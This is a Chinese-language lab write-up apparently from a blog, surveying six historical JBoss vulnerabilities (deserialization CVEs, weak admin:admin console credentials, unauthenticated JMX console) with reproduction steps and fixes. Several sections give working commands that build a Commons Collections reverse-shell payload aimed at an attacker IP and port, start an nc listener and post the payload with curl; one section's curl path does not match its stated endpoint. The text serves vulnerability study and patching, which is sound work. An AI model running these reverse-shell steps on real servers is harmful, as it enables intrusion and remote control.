JBoss历史漏洞汇总与复现

前言:jBoss是一个基于J2EE的开发源代码的应用服务器。 JBoss代码遵循LGPL许可,可以在任何商业应用中免费使用。JBoss是一个管理EJB的容器和服务器,支持EJB1.1、EJB 2.0和EJB3的规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器,一般与Tomcat或Jetty绑定使用。 默认端口:8080,9990

目录

一、jboss 代码执行 (CVE-2017-12149)

1.漏洞介绍

2.漏洞复现

3.修复建议 

二、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

 1.漏洞介绍

 2.漏洞复现

 3.修复建议

三、JBoss EJBInvokerServlet 反序列化漏洞

1.漏洞概述

2.漏洞复现

3.修复建议

四、JBossMQJMS 反序列化漏洞(CVE-2017-7504)

1.漏洞简介

2.漏洞复现

3.修复建议

五、JBoss Administration Console 弱口令&&getshell

1.漏洞概述

2.漏洞复现

3.修复建议

六、JBoss JMX Console未授权访问

1.漏洞概述

2.漏洞复现

3.修复建议


一、jboss 代码执行 (CVE-2017-12149)

1.漏洞介绍

1.1影响范围

JBoss 5.x/6.x

1.2漏洞原理

在/invoker/readonly路径下,攻击者可以构造序列化代码传入服务器进行反序列化,由于没有对反序列化操作进行任何检测,导致攻击者可以执行任意代码

该漏洞位于JBoss的HttpInvoker组件中的 ReadOnlyAccessFilter 过滤器中,其doFilter方法在没有进行任何安全检查和限制的情况下尝试将来自客户端的序列化数据流进行反序列化,导致攻击者可以通过精心设计的序列化数据来执行任意代码

2.漏洞复现

使用vulfocus在线靶场

JBoss历史漏洞汇总与复现_第1张图片

 访问 /invoker/readonly 如果返回500,说明此页面就可能存在反序列化漏洞。 

JBoss历史漏洞汇总与复现_第2张图片

直接使用 jboss反序列化_CVE-2017-12149工具

JBoss历史漏洞汇总与复现_第3张图片

还有一种反弹shell的方法,可以参考下面的复现,一样的利用方法只需要把路径改一下就行

3.修复建议 

 1.升级到JBOSS7

2.不需要 http-invoker.sar 组件的用户可直接删除此组件。
3.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中:/*用于对 http invoker 组件进行访问控制。

二、JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)

 1.漏洞介绍

1.1影响版本

Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本。

1.2漏洞原理

JBoss在 /invoker/JMXInvokerServlet 请求中读取了用户传入的对象,然后我们可以利用 Apache Commons Collections 中的 Gadget 执行任意代码。

 2.漏洞复现

使用vulfocus在线靶场

JBoss历史漏洞汇总与复现_第4张图片

访问网站页面/invoker/JMXInvokerServlet页面如果弹出下载JMXInvokerServlet文件的页面,则证明存在漏洞 

JBoss历史漏洞汇总与复现_第5张图片

 下载反序列化工具:https://github.com/ianxtianxt/CVE-2015-7501/

下载后解压完,进入到工具目录 ,执行命令:

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

继续执行命令(IP是攻击机,PORT是要监听的端口):

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:PORT

新界面开启nc监听准备接收反弹过来的shell

nc -lvnp 监听的端口

这个时候在工具的目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了

curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser 

JBoss历史漏洞汇总与复现_第6张图片

 3.修复建议

1.目前厂商暂未发布修复措施解决此安全问题,建议使用此软件的用户随时关注厂商主页或参考网址以获取解决办法:

Red Hat - We make open source technologies for the enterprise

2.不需要 http-invoker.sar 组件的用户可直接删除此组件。

路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404 

3.添加访问控制代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制

三、JBoss EJBInvokerServlet 反序列化漏洞

1.漏洞概述

1.1影响版本

主要集中在 jboss 6.x 版本上:

 Apache Group Commons Collections 4.0 
 Apache Group Commons Collections 3.2.1 
 Apache Group Commons Collections

1.2漏洞原理

此漏洞和CVE-2015-7501漏洞原理相同,两者的区别就在于JMXInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作,而EJBInvokerServlet利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。

2.漏洞复现

跟CVE-2015-7501利⽤⽅法⼀样,只是路径不⼀样,这个漏洞利⽤路径是/invoker/EJBInvokerServlet,在这里就不复现了,复现请参考CVE-2015-7501

3.修复建议

1.不需要 http-invoker.sar 组件的用户可直接删除此组件。路径为:jboss-6.1.0.Final\server\default\deploy\http-invoker.sar,删除后访问404 

2.添加如下代码至 http-invoker.sar 下 web.xml 的 security-constraint 标签中,对 http invoker 组件进行访问控制

四、JBossMQJMS 反序列化漏洞(CVE-2017-7504)

1.漏洞简介

1.1影响版本

JBoss <=4.x

1.2漏洞原理

JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。

2.漏洞复现

使用vulfocus在线靶场

JBoss历史漏洞汇总与复现_第7张图片

访问/jbossmq-httpil/HTTPServerILServlet,返回This is the JBossMQ HTTP-IL,说明存在反序列化漏洞。

 利用工具:JavaDeserH2HC,也可以利用上面介绍的那款反序列化工具

也是推荐在linux操作系统使用该工具

我们选择一个Gadget:ReverseShellCommonsCollectionsHashMap,编译并生成序列化数据:

生成ReverseShellCommonsCollectionsHashMap.class

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java

  

 生成ReverseShellCommonsCollectionsHashMap.ser(ip是要攻击机的ip,port是要监听的端口)

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port

 新开一个窗口用nc监听刚刚的端口

nc -lnvp port

 

 这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了

curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser

 成功反弹

JBoss历史漏洞汇总与复现_第8张图片

3.修复建议

升级至不受影响的版本

五、JBoss Administration Console 弱口令&&getshell

1.漏洞概述

1.1影响版本

全版本

1.2漏洞原理

Administration Console管理页面存在弱口令,admin:admin,登陆后台上传包含shell的war包并部署,再用后门工具连接即可

2.漏洞复现

参考:Jboss 4.x版本jmx-console控制台弱口令getshell_努力的学渣'#的博客-CSDN博客_jboss弱口令

3.修复建议

1. 修改密码jboss-6.1.0.Final\server\default\conf\props\jmx-console-users.propertie

2. 或删除Administration Console页面。

JBoss版本>=6.0,admin-console页面路径为: C:\jboss-6.1.0.Final\common\deploy\admin-console.war

6.0之前的版本,路径为C:\jboss-4.2.3\server\default\deploy\management\console-mgr.sar\web-console.war

六、JBoss JMX Console未授权访问

1.漏洞概述

1.1影响版本

全版本

1.2漏洞原理

JBoss不仅提供了线程内存的信息,还有一些MBean会对Jboss系统产生影响,默认情况下, JBoss启动后可以通过访问 http://localhost:8080/jmx-console 浏览jboss的部署管理的一些信息以及一些自定义的JMX服务,不需要输入用户名和密码,攻击者知道服务器的IP和端口后就可以访问Jboss的Jmx-console通过Mbean攻击服务器

2.漏洞复现

参考:【实战】Jboss未授权访问(JMX-Console)Getshell_郑好_zh的博客-CSDN博客

3.修复建议

1.增加密码措施,防止未授权访问

在C:\jboss-版本号Final\common\deploy\jmx-console.war\WEB-INF\jboss-web.xml开启安全配置

2.在C:\jboss-版本号Final\common\deploy\jmx-console.war\WEB-INF\web.xml开启安全认证。

你可能感兴趣的:(漏洞分析,漏洞复现,web安全,java)